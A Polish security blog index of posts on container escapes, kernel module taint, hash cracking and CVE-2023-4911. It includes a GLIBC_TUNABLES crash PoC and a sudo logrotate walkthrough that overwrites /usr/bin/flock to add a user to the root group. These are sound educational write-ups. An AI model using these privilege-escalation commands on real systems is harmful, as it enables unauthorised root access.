NFsec Logo

Nieszczelne naczynka w Dockerze

07/02/2024 w Bezpieczeństwo Możliwość komentowania Nieszczelne naczynka w Dockerze została wyłączona

P

rzesiąkanie płynu z małych naczyń krwionośnych do otaczających tkanek wymaga natychmiastowego leczenia, aby zapobiec spadkowi ciśnienia krwi i innym poważnym powikłaniom. Identycznie jest w przypadku zespołu podatności o nazwie Leaky Vessels, które wykryto w środowisku wykonawczym kontenerów, w szczególności runC (CVE-2024-21626) oraz w BuildKit (CVE-2024-23651, CVE-2024-23652 i CVE-2024-23653) używanym przez takie projekty jak: Docker, Kubernetes i inne platformy konteneryzacji. Luki te umożliwiają ucieczkę z kontenera, a osobie atakującej, która posiada dostęp do takiego kontenera, wykonanie dowolnego kodu na maszynie hosta, narażając w ten sposób cały system.
[ czytaj całość… ]

Wykrywanie skażonych modułów jądra

15/01/2024 w Administracja, Bezpieczeństwo Możliwość komentowania Wykrywanie skażonych modułów jądra została wyłączona

I

nformację o modułach załadowanych w systemie Linux znajdziemy w kopalni wiedzy o systemie, czyli wirtualnym systemie plików procfs. W celu wyświetlenia aktualnie zarejestrowanych (nie ukrywających się) modułów wystarczy wykonać polecenie: cat /proc/modules. Naszym oczom powinny ukazać się linie zawierające od sześciu do siedmiu kolumn:

x_tables 45056 3 xt_owner,xt_tcpudp,ip6_tables, Live 0xffffffffc044b000

  • x_tables – pierwsza kolumna wyświetla tytuł / nazwę modułu,
  • 45056 – druga kolumna to wielkość modułu (podana w bajtach) – nie mylić z używaną pamięcią,
  • 3 – trzecia kolumna podaje liczbę załadowanych instancji danego modułu – moduł z zerową wartością jest uważany za niezaładowany, a gdy liczba referencyjna modułu jest dodania (różna od zera), zwolnienie go za pomocą rmmod staje się niemożliwe, ponieważ polecenie wyświetli komunikat błędu: rmmod: ERROR: Module x_tables is in use by: xt_tcpudp xt_owner ip6_tables,
  • xt_owner,xt_tcpudp,ip6_tables – w czwartej kolumnie znajdują się moduły odwołujące się / zależne, które wymagają tego modułu do swojego funkcjonowania – w przypadku braku odniesień wyświetlany jest znak “-“,
  • Live – stan załadowania modułu wyrażony jest w piątej kolumnie, które może przyjmować tylko jedną z wartości: Live (żywy / aktywny), Loading (w trakcie ładowania), Unloading (w trakcie pozbywania się),
  • 0xffffffffc044b000 – szósta kolumna wyświetla aktualne przesunięcie pamięci jądra wykorzystywane przez załadowany moduł, co może być przydatne przy procesie debugowania lub profilowania.

W niektórych przypadkach możemy również trafić na wpisy, które będą posiadały siódmą kolumnę – tzw. skażone stany (ang. tainted states) . Kiedyś reprezentowane przez nią symbole znajdowały się w pliku panic.c (aktualnie zostały przeniesione do sekcji dokumentacji kernel.rst):

======  =====  ==============================================================
     1  `(P)`  proprietary module was loaded
     2  `(F)`  module was force loaded
     4  `(S)`  kernel running on an out of specification system
     8  `(R)`  module was force unloaded
    16  `(M)`  processor reported a Machine Check Exception (MCE)
    32  `(B)`  bad page referenced or some unexpected page flags
    64  `(U)`  taint requested by userspace application
   128  `(D)`  kernel died recently, i.e. there was an OOPS or BUG
   256  `(A)`  an ACPI table was overridden by user
   512  `(W)`  kernel issued warning
  1024  `(C)`  staging driver was loaded
  2048  `(I)`  workaround for bug in platform firmware applied
  4096  `(O)`  externally-built ("out-of-tree") module was loaded
  8192  `(E)`  unsigned module was loaded
 16384  `(L)`  soft lockup occurred
 32768  `(K)`  kernel has been live patched
 65536  `(X)`  Auxiliary taint, defined and used by for distros
131072  `(T)`  The kernel was built with the struct randomization plugin
======  =====  ==============================================================

Dlatego, jeśli trafimy na wpis podobny do:

suspicious_module 110592 2 - Live 0xffffffffc0724000 (OE)

Możemy go odczytać, jako załadowanie modułu zewnętrznego (O) – spoza aktualnego drzewa modułów uruchomionego jądra systemu, który w dodatku nie jest podpisany (E). Wszystkie takie “skażone” moduły możemy wyświetlić poprzez polecenie:

grep \(.*\) /proc/modules

Podobnie możemy szukać wyrażenia taint w poleceniu dmesg lub journalctl --dmesg.

Więcej informacji: Tainted kernels, What is OE+ in Linux?, Craig Rowland on Twitter

TLSH – Trend Micro Locality Sensitive Hash dla malware i phishingu

08/01/2024 w Bezpieczeństwo Możliwość komentowania TLSH – Trend Micro Locality Sensitive Hash dla malware i phishingu została wyłączona

S

króty kryptograficzne, takie jak MD5 i SHA[1/2] są wykorzystywane w wielu zastosowaniach związanych z eksploracją danych i bezpieczeństwem – służąc jako identyfikatory plików wykonywalnych i dokumentów tekstowych. Jednak ich rolą jest oznaczanie unikalności, nie podobieństw – jeśli zostanie zmieniony pojedynczy bajt pliku, wówczas skróty kryptograficzne dają zupełnie inne wartości. Ich działanie jest bardzo przydatne przy wyodrębnianiu, znakowaniu i dzieleniu się wskaźnikami skompromitowania (ang. IoCsindicators of compromise) dla konkretnych próbek szkodliwego oprogramowania (ang. malware). Jednak w celu identyfikacji zagrożeń pochodzących z tych samych “rodzin” i aktorów (o podobnej binarnej strukturze plików, identyfikacja wariantów wiadomości spamowych / phishingowych) pojawiła się przestrzeń dla skrótów kryptograficznych, które identyfikują podobieństwo plików na podstawie ich wartości skrótu. Społeczność zajmująca się bezpieczeństwem zaproponowała dla tego problemu skróty podobieństwa (ang. similarity digests) takie jak np. sdhash oraz ssdeep.
[ czytaj całość… ]

Złe ELFy kradną dane z fabryki zabawek św. Mikołaja

17/12/2023 w Bezpieczeństwo, Debug, Pen Test Możliwość komentowania Złe ELFy kradną dane z fabryki zabawek św. Mikołaja została wyłączona

O

nie! Z powodu dużej ilości pracy przed świętami ktoś zapomniał na serwerze WWW zaktualizować wtyczkę do wykonywania kopii zapasowej w używanym przez św. Mikołaja CMS WordPress. Dzięki temu złośliwe ELFy przedostały się do wewnętrznej sieci i w ramach Lateral Movement “przeskoczyły” do maszyny w fabryce św. Mikołaja odpowiedzialnej za kompilację kodu programów używanych w zabawkach. Jest na niej pełno sekretnych rozwiązań, schematów i innych wrażliwych danych, które można ukraść. Niestety oprócz kompilatorów (gcc) i debuggerów (gdb) maszyna nie posiada żadnych narzędzi (wget, curl itd.), które można wykorzystać do eksfiltracji danych lub ściągnięcia ładunków ze złego C2. Złe ELFy mają dostęp tylko do zwykłego konta dobrego ELFa o imieniu reversek, a dzięki prostemu skanerowi portów w czystej powłoce bash zorientowały już się, że maszyna ma dostęp do internetu tylko na portach HTTP (80) i HTTPS (443). Czy uda im się wykraść zaawansowane patenty i zamienić je w tańsze podróbki ?
[ czytaj całość… ]

Niektóre paczki z Ubuntu nie mają wszystkich łatek bezpieczeństwa

15/11/2023 w Bezpieczeństwo Możliwość komentowania Niektóre paczki z Ubuntu nie mają wszystkich łatek bezpieczeństwa została wyłączona

I

taka jest brzydka prawda. W serwisie IntelTechniques został opublikowany tekst ostrzegający swoich czytelników i użytkowników systemu Ubuntu przed subskrybowaniem usługi Ubuntu Pro. Powierzchowne użytkowanie tego systemu doprowadziło redakcję do fałszywego przekonania, że standardowe oprogramowanie zainstalowane przy użyciu polecenia apt jest “aktualne” i “bezpieczne” pomimo wyświetlania ostrzeżeń dotyczących o dostępnych pakietach aktualizujących ich bezpieczeństwo. Cytat z ich publikacji:

[Wyszczególnione pakiety Ubuntu] “w dostępnej wersji” to dokładnie ten sam produkt, co aktualnie zainstalowane oprogramowanie. Ta aktualizacja nic nie wnosi.

Do całej dyskusji, która rozwinęła się w serwisie HackerNews odniósł się jeden z programistów o imieniu Alex tłumacząc, że to stwierdzenie odzwierciedla szersze nieporozumienie dotyczące aktualnego zarządzania pakietami w systemie Ubuntu. W skrócie można powiedzieć, że problem pojawia się, gdy włączymy repozytorium universe w dystrybucji typu LTS (Long Term Support – typ specjalnych wydań systemu Ubuntu o przedłużonym okresie wsparcia), co może narazić nas na problemy związane z bezpieczeństwem chyba, że jesteśmy zainteresowani subskrypcją usługi “Pro”.
[ czytaj całość… ]

Hashcat dla konkursu Sekuraka Academy 2024

09/11/2023 w Bezpieczeństwo Możliwość komentowania Hashcat dla konkursu Sekuraka Academy 2024 została wyłączona

S

ekurak opublikował kolejny konkurs dotyczący łamania haseł. Tym razem było 10 to pozycji, a nie 12. Konkurs wystartował 31 października 2023 o 11:37, a informacja o nim dotarła do mnie o 12:15. O 12:34 miałem już dwa hasła. Pierwszym krokiem było szybkie stworzenie “dedykowanego” słownika. Zaznaczyłem cały tekst na stronie konkursu i wkleiłem go do CyberChef. Zamiana spacji (“\s”) na znaki nowych linii (“\n”) szybko zwróciła słownik, który mógł zostać użyty do pierwszej próby. Czyste uruchomienie łamania słownikiem nie zwróciło żadnych wyników, ale dodanie modyfikatorów zwróciło pierwszy wynik:

hashcat -a0 -m100 to_crack.txt sekurak_dic.txt -r OneRuleToRuleThemStill.rule
db13ca089eb4860896567399a30558f2c1fc69e7:sekurak.academy

Kolejnym krokiem był tryb: słownik + słownik, aby połączyć w pary frazy z każdego słownika, co zwróciło drugi hasz:

hashcat -a1 -m100 to_crack.txt sekurak_dic.txt sekurak_dic.txt 
9ca2065c0db9c96e7c2610bc3646991b590620f8:sekurak2024

Wracając do pracy zostawiłem program hashcat w trybie brute-force, co po godzinie 16:00 wyświetlało już kolejne dwa złamane hasła:

hashcat -a3 -m100 to_crack.txt
cc713abadd413446b499a795a963e3358e6bea37:Ow0jw2
11611d749d0a4df9a91bdc6967a05a4a85df7ffb:anw22ii2

i perspektywę długiego łamania dłuższych haseł – dlatego przerwałem dalszą pracę programu. Przyszedł czas na “ślepą furię”, czyli słownik który tworzę od jakiegoś czasu wzbogacając go o różnego rodzaju polskie wycieki. Co ciekawe jego systematyczne uzupełnianie i nastawianie na polskie realia spowodowało wzrost złamanych haseł z serwisu pomarańcze.net z 105475 do 389598 pozycji (pokazując, że proste, stare hasła wciąż są powtarzane i używane w innych serwisach). Schemat działania był analogiczny do poprzedniego słownika: 0) czysty słownik #2 1) słownik #2 + zasady modyfikujące 2) słownik #2 + słownik #2 3) słownik #2 + słownik #2 + zasady modyfikujące 4) słownik #1 + słownik #2 (i odwrotnie) 5) słownik #1 + słownik #2 + mody (i odwrotnie). W ciągu godziny (z przerwami) zabawy kombinacje te wypluły:

d451fa69378f9a246cff1a0f3bf0979b1df643ee:grzechu1234
283d5cb401e9de6a2e56f97166a639479fb86aee:akademiasekuraka
3c37442f864f1921808a2440c7657311df38b919:bezpiecznykurak

Przy okazji pracy z słownikami – postanowiłem zaktualizować własny o nowe słowa dodane do literaków. Zauważyłem też, że jest wersja z odmianami słów zawierająca więcej wyrazów i zwrotów. Podobnie, jak w przypadku pierwszego słownika – ułożenie go wymagało kilku zabiegów – usunięcie kropek, przecinków; zamiana spacji na nowe linie itd. W ten sposób słowo et seq. zamieniło się w seq + rak, co złamało w trybie słownik #2 + słownik #2 kolejny hasz:

61e5851b40d661bd046bdd96577fc4e81b7ae625:seqrak

Przerwałem działanie programu hashcat i o 18:00 wysłałem pierwszą paczkę 8’miu haseł. Późnym wieczorem zrobiłem jeszcze przegląd dotychczas złamanych haseł i do “sekurakowego” słownika postanowiłem jeszcze dodać frazy, których nie było w tekście, ale były na obrazkach. Uznałem, że dobrymi kandydatami na hasło będą: WronBrodaty, on1Ry, SpaceOutlaw, ZygzakEtylowasyl, VPS, NAS, WireGuard i ich różne kombinacje. Gdy wznowiłem przerwane działanie programu hashcat podał on kolejny hasz:

e68e8854e4da8055832f1a00ced5ac8772611a64:bezpiecznakura

Powtórzenie kombinacji z nowymi hasłami nie wniosło nic do procesu. O 22:18 wysłałem drugą paczkę 9’ciu haseł. Przed snem puściłem jeszcze w ruch wszystkie, czyste słowniki z SecLists oraz wersje z modyfikatorami. Zero wyników sugerowało hasło bardziej złożone np. z trzech słów, jak to miało miejsce w poprzedniej edycji (ciezkatosprawa). Do tworzenia słownika potrzebnego do łamania tego typu haseł przystąpiłem dopiero wieczorem kolejnego dnia. Optymistycznie patrząc zadanie wydawało się dość proste: wystarczy z jednego słownika zrobić inny, który będzie miał połączone ze sobą każde słowo z tego samego słownika:

hashcat -a1 --stdout nfsec_pl.txt nfsec_pl.txt > double_nfsec_pl.txt

Po kilkudziesięciu minutach intensywnej pracy dysku i komunikacie o kończącym się miejscu zdałem sobie sprawę, że chyba przesadziłem z ilością słów, które chciałem wzajemnie połączyć. “Przecież one będą działać jak mnożnik wielkości pierwotnego pliku”. Przerwałem proces, jak nowy słownik posiadał już 385 GB. Usunąłem go i skupiłem się na stworzeniu trzeciego słownika zawierającego tylko zaimki i przyimki umieszczając słowo “to” na pierwszym miejscu. Połączyłem nowy słownik z moim mając nadzieje, że wiele słów w różnych odmianach z tymi częściami mowy stworzy jakieś logiczne frazy:

hashcat -a1 --stdout nfsec_pl.txt zaimki_przyimki.txt > double_nfsec_pl.txt

Łączenie trwało kilkanaście minut, a kilku gigabajtowy słownik spokojnie zmieścił się na dysku. Alternatywą dla tego takiego łączenia słowników może być generowanie w locie drugiego słowa, co oszczędza miejsce na dysku, ale wymaga wielokrotnego uruchamiania programu hashcat:

for i in `cat zaimki_przyimki.txt`; 
do echo hashcat -a1 -m100 to_crack.txt nfsec_pl.txt \
nfsec_pl.txt --rule-left \'\$"$i"\' | bash; done

Dodając jeszcze jedną pętlę i opcję -rule-right możemy nawet stworzyć potworka łamiącego hasło czterowyrazowe. Niemniej jednak dodanie tego samego słownika jako źródła trzeciego słowa rozpoczęło proces łamania:

hashcat -a1 -m100 to_crack.txt double_nfsec_pl.txt nfsec_pl.txt

37 minut później ukazał się ostatni hash:

61d54fe02ce6edcde2f5762f2677b3c83d876417:trudnotozgadnac

2 listopada o 00:20 wysłałem ostatnią paczkę 10’ciu haseł. 8 lis 2023 o 11:22 otrzymałem informację o wygranej. Oprócz frajdy konkurs był doskonałym pretekstem, aby dopracować własny słownik i uzupełnić w nim małą lukę, czyli odmianę polskich słów “z” i “bez” znaków diakrytycznych.

CVE-2023-4911 – Looney Tunables

12/10/2023 w Bezpieczeństwo Możliwość komentowania CVE-2023-4911 – Looney Tunables została wyłączona

N

iedawno firma Qualys odkryła i zgłosiła krytyczny błąd w popularnym ekosystemie bibliotek GLIBC, który jest domyślnie instalowany w większości systemów operacyjnych opartych na Linuksie. Wspomniany błąd polega na przepełnieniu bufora w kodzie odpowiedzialnym za obsługę specjalnych zmiennych środowiskowych podczas uruchamiania procesu, co może skutkować lokalną eskalacją uprawnień. Luce przypisano CVE-2023-4911 z oceną 7,8 co daje jej wysoki poziom podatności (w przypadku wykorzystania atakujący może uzyskać uprawnienia administratora w systemie). Opublikowano już kilka wersji testowych eksploitów dla tego błędu – PoC1, PoC2, PoC3, PoC4. Przykłady te pokazują, że sama eksploatacja jest dość prosta i nawet przy zastosowaniu siłowego zgadywania adresu pamięci (ze względu na ASLR) eskalacja może nastąpić w czasie krótszym niż 5 minut.

GLIBC jest domyślnie instalowany w wielu popularnych dystrybucjach Linuksa: Ubuntu, Debian, Fedora, RedHat. Zawiera dynamiczny linker ładujący (ld.so), czyli fragment oprogramowania odpowiedzialny za ładowanie wszystkich obiektów współdzielonych potrzebnych do uruchomienia programu. Jego zadania można opisać w kilku punktach: uruchamianie pliku binarnego; ładowanie bibliotek współdzielonych; obsługa zmiennych LD_PRELOAD i LD_LIBRARY_PATH; zarządzanie pamięcią i mapowanie pliku binarnego w pamięci. Luka znaleziona przez badaczy z Qualys ma miejsce podczas inicjalizacji dynamicznego linkera, a konkretnie podczas obsługi zmiennej środowiskowej GLIBC_TUNABLES. Zmienna ta pozwala na dostosowanie zachowania GLIBC podczas kolejnych zdarzeń. Listę dostępnych opcji dostrajania można uzyskać, uruchamiając następujące polecenie:

/lib64/ld-linux-x86-64.so.2 --list-tunables

Opcje dostrajające muszą zostać dostarczone do docelowego pliku binarnego jako lista oddzielonych od siebie dwukropkami par wartość=klucz ( “tunable1=aaa:tunable2=bbb”). Wspomniany linker jest odpowiedzialny za analizowanie i ostateczne usuwanie wrażliwych na bezpieczeństwo opcji dostrajania ze zmiennych środowiskowych. Co dokładnie się dzieje podczas tego procesu? Otóż funkcja __tunables_init (w której prowadzono błąd) przegląda zmienne środowiskowe i wyszukuje tej o nazwie: GLIBC_TUNABLES. Po jej znalezieniu wywołuje inną funkcję o nazwie tunables_strdup w celu utworzenia kopii zmiennej i rozpoczęcia jej przetwarzania. Ze względu na fakt, że GLIBC nie jest jeszcze zainicjowany ostatnia funkcja używa pod maską __minimal_malloc, która wywołuje mmap w celu zażądania pamięci od jądra systemu. Powoduje to alokację pamięci z pamięci wirtualnej zamiast ze sterty.

Możliwość przepełnienie bufora w tym procesie jest możliwa ze względu na sposób analizowania argumentów. Jeśli opcja dostrajająca będzie miała format: “tunable1=tunable2=bbb” zostanie ona potraktowana na początku jako: tunable1=”tunable2=bbb”, a później jako: “tunable2=bbb”. Spowoduje to skopiowanie większej ilości danych do przydzielonego bufora, niż jest to dozwolone. Chociaż luka ta została wykryta podczas przeglądu kodu źródłowego, badacze z Qualys poddali również testowanie tej logiki za pomocą fuzzingu i z pomocą programu AFL++ oraz libFuzzer powtórzyli ten błąd w mniej niż sekundę (przekazali tylko do programów listę opcji dostrajających z powyższego polecenia). PoC testujący podatność:

agresor@darkstar:~$ env -i "GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A" \
"Z=`printf '%08192x' 1`" /usr/bin/su --help
Segmentation fault (core dumped)

Wykorzystanie luki polega na utworzeniu ładunku (ang. payload) modyfikującego wskaźnik l_info[DT_RPATH] (ścieżka wyszukiwania bibliotek), co może zmusić ld.so do załadowania obiektów współdzielonych z niezaufanych katalogów i wykonania dowolnego kodu (jako root, jeśli uruchomimy program z bitem SUID). Błąd udało wykorzystać się w domyślnych instalacjach Fedory 37 i 38, Ubuntu 22.04 i 23.04, Debianie 12 i 13; inne dystrybucje prawdopodobnie też są podatne na ataki (jedynym godnym uwagi wyjątkiem jest Alpine Linux, który używa musl libc, a nie glibc).

Więcej informacji: CVE-2023-4911, Detecting and mitigating CVE-2023-4911, Exploiting the Looney Tunables vulnerability on HTB, Looney Tunables – Local Privilege Escalation in the glibc’s ld.so

Polecenie strings i niezaufane pliki binarne

05/10/2023 w Bezpieczeństwo Możliwość komentowania Polecenie strings i niezaufane pliki binarne została wyłączona

P

olecenie ldd nie jest jedynym programem, który miał problemy z bezpieczeństwem jeśli chodzi walidację danych podczas analizy różnych programów. W 2014 roku Michał Zalewski ostrzegał, że wielu użytkowników zajmujących się informatyką śledczą lub innymi dziedzinami bezpieczeństwa informacji ma zwyczaj uruchamiania programu /usr/bin/strings na plikach binarnych pochodzących z internetu. Skoro narzędzie to po prostu skanuje zawartość pliku w poszukiwaniu ciągów znaków, które można wyświetlić na standardowym wyjściu (stdout) to nie powinno narazić użytkownika na jakiekolwiek ryzyko. Otóż program strings jest integralną częścią GNU binutils – zestawu narzędzi specjalizujących się w manipulowaniu formatami plików wykonywalnych przy użyciu biblioteki o nazwie libbfd (Binary File Descriptor Library).

Jak udowodnił lcamtuf funkcja setup_group w źródłowym pliku bfd/elf.c biblioteki libbfd wchodzącej w skład binutils w wersji 2.24 i wcześniejszych posiadała podatność bezpieczeństwa. Jeśli użytkownik zostałby nakłoniony do analizy programem strings specjalnie spreparowanego pliku, mogłoby to spowodować krach tego narzędzia lub potencjalne wykonanie dowolnego kodu z uprawnieniami użytkownika uruchamiającego proces analizy. Dlatego od wersji 2.26 wydanej 26 stycznia 2014 roku domyślnym wywołaniem strings jest parametr -a, który powoduje skanowanie całego pliku z pominięciem używania biblioteki BFD:

commit 7fac9594c41ab180979bdf5927ff7f7e1d13a9e9
Author: Nick Clifton 
Date:   2014-10-31 10:10:37 +0000

    In response to a public outcry the strings program now 
    defaults to using the --all option which displays text
    from anywhere in the input file(s).  The default used 
    to be --data, which only displays text from loadable
    data sections, but this requires the use of the BFD
    library.  Since the BFD library almost certainly still
    contains buffer overrun and/or memory corruption bugs,
    and since the strings program is often used to examine
    malicious code, it was decided that the --data option
    option represents a possible security risk.

W celu użycia ponownie biblioteki BPD musimy użyć parametru -d (--data), aby wyświetlić ciągi znaków tylko z zainicjalizowanych i załadowanych sekcji danych w pliku. Może to zmniejszyć ilość śmieciowych danych na wyjściu, ale należy pamiętać, że naraża to także program na wszelkie luki w bezpieczeństwie, które mogą być jeszcze obecne w bibliotece BFD używanej do skanowania i ładowania takich sekcji.

Więcej informacji: PSA: don’t run ‘strings’ on untrusted files (CVE-2014-8485), CVE-2014-8485, Scan the whole file commit

Uciekając z sudo – część piąta

04/10/2023 w Bezpieczeństwo Możliwość komentowania Uciekając z sudo – część piąta została wyłączona

K

olejna część ucieczki z sudo będzie opierała się na wykorzystaniu programu logrotate. Zakładamy, że w systemie (tutaj Ubuntu 22.04) jest zainstalowany pakiet man-db, a użytkownik posiada możliwość uruchamiania programu logrotate z dowolnymi argumentami:

agresor ALL=(ALL:ALL) NOPASSWD: /usr/sbin/logrotate *

Okazuje się, że jeśli użyjemy parametru -l jesteśmy w stanie nadpisać zawartość dowolnego pliku traktując go jako dziennik wykonania programu logrotate. Dlatego możliwości wykorzystania tej luki są wszechstronne. Dla eskalacji uprawnień najlepszym scenariuszem jest, aby nadpisywany plik był wykonywany z uprawnieniami administratora. Przykładem tutaj może być skrypt znajdujący się w ścieżce: /etc/cron.daily/man-db. Uruchamiając logrotate za pomocą poleceń:

sudo logrotate -l /etc/cron.daily/man-db \
'2>/dev/null;/usr/sbin/usermod -a -G root agresor;exit 0;'

Nadpiszemy zawartość skryptu man-db tekstem:

error: cannot stat 2>/dev/null;/usr/sbin/usermod -a -G root agresor;exit 0;
: No such file or directory
Reading state from file: /var/lib/logrotate/status
Allocating hash table for state file, size 64 entries

I w tym momencie może się nam wydawać, że wystarczy poczekać jeden dzień na kolejne uruchomienie daemona cron(tab), aby skrypt uruchomił polecenie usermod i dodał użytkownika agresor do grupy administracyjnej. Nic bardziej mylnego – ponieważ każdy skrypt umieszczony w ścieżkach /etc/cron.(daily|weekly|monthly) musi zaczynać się od sekwencji shebang. W przeciwnym wypadku otrzymamy błąd run-parts: failed to exec script.sh: Exec format error:

root@darkstar:~# test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
/etc/cron.daily/man-db:
run-parts: failed to exec /etc/cron.daily/man-db: Exec format error
run-parts: /etc/cron.daily/man-db exited with return code 1

We need to go deeper…

Skoro skrypt w pierwszej linii wykonywania musi mieć odpowiedni format – to może warto zmodyfikować jakiś nieznaczący plik wewnątrz tego skryptu? Zresztą jak spojrzymy w zawartość skryptów w /etc/cron.(daily|weekly|monthly) to większość z nich nie jest wykonywana ze względu na systemd

# Skip if systemd is running.
if [ -d /run/systemd/system ]; then
  exit 0
fi

Spójrzmy zatem, co zamierza z opóźnieniem uruchomić systemd:

root@darkstar:~# systemctl list-timers 
NEXT     
Wed 2023-10-04 00:30:28 CEST 
LEFT
9min 2s left  
LAST
Tue 2023-07-04 18:02:24 CEST 
PASSED
2 months 30 days ago  
UNIT
apt-daily.timer                
ACTIVATES
apt-daily.service

Mamy szczęście. Za 9 minut wystartuje serwis apt-daily. Zobaczmy, co uruchamia:

agresor@darkstar:/usr/bin$ grep Exec /lib/systemd/system/apt-daily.service
ExecStartPre=-/usr/lib/apt/apt-helper wait-online
ExecStart=/usr/lib/apt/apt.systemd.daily update

Skrypt /usr/lib/apt/apt.systemd.daily z argumentem update. Jeśli uruchomimy go z naszego użytkownika może uda znaleźć się plik binarny lub inny skrypt odpowiedni do modyfikacji:

agresor@darkstar:~$ bash -x /usr/lib/apt/apt.systemd.daily update
+ '[' update = lock_is_held ']'
++ apt-config shell StateDir Dir::State/d
+ eval 'StateDir='\''/var/lib/apt/'\'''
++ StateDir=/var/lib/apt/
+ exec
/usr/lib/apt/apt.systemd.daily: line 326: /var/lib/apt//daily_lock: Permission denied
+ flock -w 3600 3
flock: 3: Bad file descriptor
+ echo 'E: Could not acquire lock'
E: Could not acquire lock
+ exit 1

flock wyglada na dobrego kandydata:

cp /usr/bin/flock /tmp/flock_to_restore
sudo logrotate -l /usr/bin/flock \
'2>/dev/null; /usr/bin/echo > /tmp/Pwn3d; /usr/sbin/usermod -a -G root agresor; exit 0;'

I rzeczywiście po uruchomieniu przez apt-daily.timer serwisu apt-daily.service wyzwolił on zmodyfikowany plik /usr/bin/flock, który wykonał w systemie nasze instrukcje z prawami administratora:

root@darkstar:~# grep apt-daily.service /var/log/syslog
Oct  4 00:31:45 darkstar systemd[1]: apt-daily.service: Deactivated successfully.
Oct  4 00:31:45 darkstar systemd[1]: apt-daily.service: Consumed 31.311s CPU time.
root@darkstar:~# ls -al /tmp/Pwn3d
-rw-r--r-- 1 root root 1 Oct  4 00:30 /tmp/Pwn3d
root@darkstar:~# id agresor
uid=1000(agresor) gid=1000(agresor) groups=1000(agresor),0(root)

Przy okazji omawiania tego przykładu warto wspomnieć o projekcie, który powstał na bazie GTFOBins. GTFOArgs to wyselekcjonowana lista plików binarnych systemów *nix, którymi można manipulować w celu wstrzykiwania argumentów, co może skutkować powstawaniem luk w zabezpieczeniach, czego byliśmy właśnie świadkami.

Więcej informacji: root with a single command: sudo logrotate, Another way to exploit ‘sudo logrotate’, Abusing a race condition in logrotate to elevate privileges

Brak sympatii dla negatywnych uprawnień

16/09/2023 w Bezpieczeństwo Możliwość komentowania Brak sympatii dla negatywnych uprawnień została wyłączona

S

ystem Linux oferuje różnorodne metody przyznawania uprawnień do plików. Oprócz tradycyjnej, uznaniowej kontroli dostępu (DACDiscretionary Access Control) obsługuje również listy kontroli dostępu (ACLAccess Control Lists) i obowiązkową kontrolę dostępu (MACMandatory Access Control). Wszystkie te mechanizmy działają na podstawie przyznawania uprawnień, gdy domyślnie nic nie jest dozwolone. To podejście jest również czasami określane jako listy dostępowe (ang. allow list). Analogicznie, jak przy tworzeniu reguł dla zapór sieciowych – blokujemy wszystko i zezwalamy na selektywny ruch. Jednak zarówno DAC i jego rozwinięcie ACL pozwalają na implementację negatywnych uprawnień. Negatyw – występuje tutaj jako pojęcie odwrotności pozytywu – czyli dodawania uprawnień w zupełnie inny sposób niż to przyjęto – odwołując się do poprzedniego przykładu – blokujemy selektywny ruch, ale wszystko inne jest dozwolone. W przypadku dostępu do plików uprawnienia takie uniemożliwiają dostęp określonym użytkownikom lub grupom, gdy wszyscy inni zachowują dostęp. Tego typu praktyka jest raczej rzadkością, za to powszechnie postrzegana jako zła w przypadku uprawnień i ruchu sieciowego.
[ czytaj całość… ]